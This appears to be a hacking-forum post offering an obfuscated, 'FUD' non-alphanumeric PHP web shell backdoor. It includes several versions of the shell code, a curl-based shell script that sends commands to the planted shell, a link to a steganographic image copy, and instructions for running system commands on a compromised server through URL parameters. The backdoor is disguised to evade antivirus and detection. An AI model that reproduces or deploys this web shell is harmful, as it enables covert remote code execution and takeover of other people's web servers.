FUD Non-Alphanumeric Php Shell Backdoor

FUD non-alphanumeric php shell backdoor

code (webshell):
<?="dnthirteen@h34rtbl33d.today:~$ "?><?="<".("{{{"^"+)>").">";$_[]=@!+_;$__=@${_}>>$_;$_[]=$__;$_[]=@_;@$_[((++$__)+($__++))].=$_;$_[]=++$__;$_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+$_[$__-$__]).($__+$__+$__)+$_[$__-$__];$_[$__+$__]=($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__]);$_[$__+$__].=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__]);$_[$__+$__].=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__];$_=$$_[$__+$__];$___=$_[@-_];@$____=`$___`?:$___($_[@!+_])?><?=@$____?>

remote code shell (sh):
 #!/bin/sh
while true;do read -p "dnthirteen@h34rtbl33d.today:~$ " cmd;curl $1$cmd;done
remote code shell (php):
<?=$_[]=@!+_;$__=@${_}>>$_;$_[]=$__;$_[]=@_;@$_[((++$__)+($__++))].=$_;$_[]=++$__;$_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+$_[$__-$__]).($__+$__+$__)+$_[$__-$__];$_[$__+$__]=($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__]);$_[$__+$__].=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__]);$_[$__+$__].=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__];$_=$$_[$__+$__];$___=$_[@-_];@$____=`$___`?:$___($_[@!+_])?><?=@$____?>

link download (stegano) :
https://i.ibb.co/Pmz3c6F/dnthirteen-php.jpg

how to use?
mode 1 : http://link/shell.php?0=<command> : if shell_exec enable & safe_mode off (Using Execution Operator ``)
mode 2 : http://link/shell.php?0=<Program execution Functions>&1=<command>
remote shell :
./remote.sh http://link/shell.php?0=
./remote.sh http://link/shell.php?0=<Program execution Functions>&1=

nb : Program execution Functions = exec,shell_exec,passthru,system, etc

another version :v
<?="dnthirteen@h34rtbl33d.today:~$ "?><?=@$_++;"<".("{{{"^"+)>").">";$__ = ${"`{{{"^"?<>/"}[!$_];$___ = `$__` ?: $__(${"`{{{"^"?<>/"}[$_]);?><?=(@$___."</".("{{{"^"+)>").">")?>